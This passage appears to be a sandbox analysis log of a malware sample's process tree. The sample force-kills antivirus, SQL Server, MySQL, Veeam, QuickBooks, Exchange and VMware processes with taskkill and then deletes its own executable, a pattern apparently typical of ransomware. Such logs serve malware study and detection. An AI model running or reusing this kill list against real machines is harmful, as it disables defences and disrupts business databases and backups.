taskkill /F /T /IM InputPersonalization*
3⤵
- Kills process with taskkill
PID:1432

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM AdobeCollabSync*
2⤵
PID:1800

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM AdobeCollabSync*
3⤵
- Kills process with taskkill
PID:1088

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM BrCtrlCntr*
2⤵
PID:1396

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM BrCtrlCntr*
3⤵
- Kills process with taskkill
PID:1856

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM BrCcUxSys*
2⤵
PID:1560

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM BrCcUxSys*
3⤵
- Kills process with taskkill
PID:1660

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM SimplyConnectionManager*
2⤵
PID:1924

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM SimplyConnectionManager*
3⤵
PID:2036

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM Simply.SystemTrayIcon*
2⤵
PID:884

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM Simply.SystemTrayIcon*
3⤵
- Kills process with taskkill
PID:528

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM fbguard*
2⤵
PID:1672

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM fbguard*
3⤵
- Kills process with taskkill
PID:1440

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM fbserver*
2⤵
PID:2032

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM fbserver*
3⤵
- Kills process with taskkill
PID:1696

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM ONENOTEM*
2⤵
PID:2024

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM ONENOTEM*
3⤵
- Kills process with taskkill
PID:1356

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM wrapper*
2⤵
PID:2020

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM wrapper*
3⤵
- Kills process with taskkill
PID:1076

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM DefWatch*
2⤵
PID:1824

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM DefWatch*
3⤵
- Kills process with taskkill
PID:1544

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM ccEvtMgr*
2⤵
PID:1088

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM ccEvtMgr*
3⤵
- Kills process with taskkill
PID:1820

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM ccSetMgr*
2⤵
PID:1692

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM ccSetMgr*
3⤵
- Kills process with taskkill
PID:1396

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM SavRoam*
2⤵
PID:1956

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM SavRoam*
3⤵
PID:1660

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM Sqlservr*
2⤵
PID:1960

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM Sqlservr*
3⤵
- Kills process with taskkill
PID:2036

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM sqlagent*
2⤵
PID:1964

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM sqlagent*
3⤵
- Kills process with taskkill
PID:528

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM sqladhlp*
2⤵
PID:2000

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM sqladhlp*
3⤵
- Kills process with taskkill
PID:1440

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM Culserver*
2⤵
PID:1936

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM Culserver*
3⤵
- Kills process with taskkill
PID:1696

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM RTVscan*
2⤵
PID:2012

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM RTVscan*
3⤵
PID:1356

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM sqlbrowser*
2⤵
PID:1432

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM sqlbrowser*
3⤵
PID:1076

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM SQLADHLP*
2⤵
PID:1832

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM SQLADHLP*
3⤵
PID:1544

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM QBIDPService*
2⤵
PID:1376

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM QBIDPService*
3⤵
- Kills process with taskkill
PID:1760

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM Intuit.QuickBooks.FCS*
2⤵
PID:1812

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM Intuit.QuickBooks.FCS*
3⤵
- Kills process with taskkill
PID:1860

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM QBCFMonitorService*
2⤵
PID:1560

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM QBCFMonitorService*
3⤵
- Kills process with taskkill
PID:1916

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM sqlwriter*
2⤵
PID:1924

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM sqlwriter*
3⤵
- Kills process with taskkill
PID:1648

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM msmdsrv*
2⤵
PID:884

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM msmdsrv*
3⤵
- Kills process with taskkill
PID:432

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM tomcat6*
2⤵
PID:1672

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM tomcat6*
3⤵
PID:520

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM zhudongfangyu*
2⤵
PID:2032

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM zhudongfangyu*
3⤵
- Kills process with taskkill
PID:2008

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM vmware-usbarbitator64*
2⤵
PID:1364

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM vmware-usbarbitator64*
3⤵
- Kills process with taskkill
PID:1580

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM vmware-converter*
2⤵
PID:1548

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM vmware-converter*
3⤵
- Kills process with taskkill
PID:1128

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM dbsrv12*
2⤵
PID:1108

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM dbsrv12*
3⤵
- Kills process with taskkill
PID:1584

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM dbeng8*
2⤵
PID:1368

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM dbeng8*
3⤵
- Kills process with taskkill
PID:316

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM MSSQL$MICROSOFT##WID*
2⤵
PID:1592

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM MSSQL$MICROSOFT##WID*
3⤵
- Kills process with taskkill
PID:1668

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM MSSQL$VEEAMSQL2012*
2⤵
PID:2044

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM MSSQL$VEEAMSQL2012*
3⤵
- Kills process with taskkill
PID:1852

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM SQLAgent$VEEAMSQL2012*
2⤵
PID:1508

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM SQLAgent$VEEAMSQL2012*
3⤵
- Kills process with taskkill
PID:2036

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM SQLBrowser*
2⤵
PID:1520

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM SQLBrowser*
3⤵
- Kills process with taskkill
PID:1964

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM SQLWriter*
2⤵
PID:1712

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM SQLWriter*
3⤵
- Kills process with taskkill
PID:1440

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM FishbowlMySQL*
2⤵
PID:1392

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM FishbowlMySQL*
3⤵
- Kills process with taskkill
PID:1536

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM MSSQL$MICROSOFT##WID*
2⤵
PID:2024

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM MSSQL$MICROSOFT##WID*
3⤵
- Kills process with taskkill
PID:668

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM MySQL57*
2⤵
PID:2020

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM MySQL57*
3⤵
PID:576

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM MSSQL$KAV_CS_ADMIN_KIT*
2⤵
PID:1824

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM MSSQL$KAV_CS_ADMIN_KIT*
3⤵
PID:1828

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM MSSQLServerADHelper100*
2⤵
PID:1512

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM MSSQLServerADHelper100*
3⤵
- Kills process with taskkill
PID:1760

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM SQLAgent$KAV_CS_ADMIN_KIT*
2⤵
PID:1720

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM SQLAgent$KAV_CS_ADMIN_KIT*
3⤵
- Kills process with taskkill
PID:1860

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM msftesql-Exchange*
2⤵
PID:1784

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM msftesql-Exchange*
3⤵
- Kills process with taskkill
PID:1916

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM MSSQL$MICROSOFT##SSEE*
2⤵
PID:1988

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM MSSQL$MICROSOFT##SSEE*
3⤵
PID:1648

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM MSSQL$SBSMONITORING*
2⤵
PID:1656

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM MSSQL$SBSMONITORING*
3⤵
- Kills process with taskkill
PID:432

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM MSSQL$SHAREPOINT*
2⤵
PID:284

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM MSSQL$SHAREPOINT*
3⤵
PID:520

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM MSSQLFDLauncher$SBSMONITORING*
2⤵
PID:1540

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM MSSQLFDLauncher$SBSMONITORING*
3⤵
- Kills process with taskkill
PID:2008

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM MSSQLFDLauncher$SHAREPOINT*
2⤵
PID:1352

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM MSSQLFDLauncher$SHAREPOINT*
3⤵
- Kills process with taskkill
PID:1580

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM SQLAgent$SBSMONITORING*
2⤵
PID:1616

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM SQLAgent$SBSMONITORING*
3⤵
- Kills process with taskkill
PID:1128

C:\Windows\SysWOW64\cmd.exe
cmd /C taskkill /F /T /IM SQLAgent$SHAREPOINT*
2⤵
PID:1836

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /T /IM SQLAgent$SHAREPOINT*
3⤵
- Kills process with taskkill
PID:1584

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C timeout /T 15 /NOBREAK && del "C:\Users\Admin\AppData\Local\Temp\build-x32.crypt.bin.exe" /F
2⤵
- Deletes itself
PID:292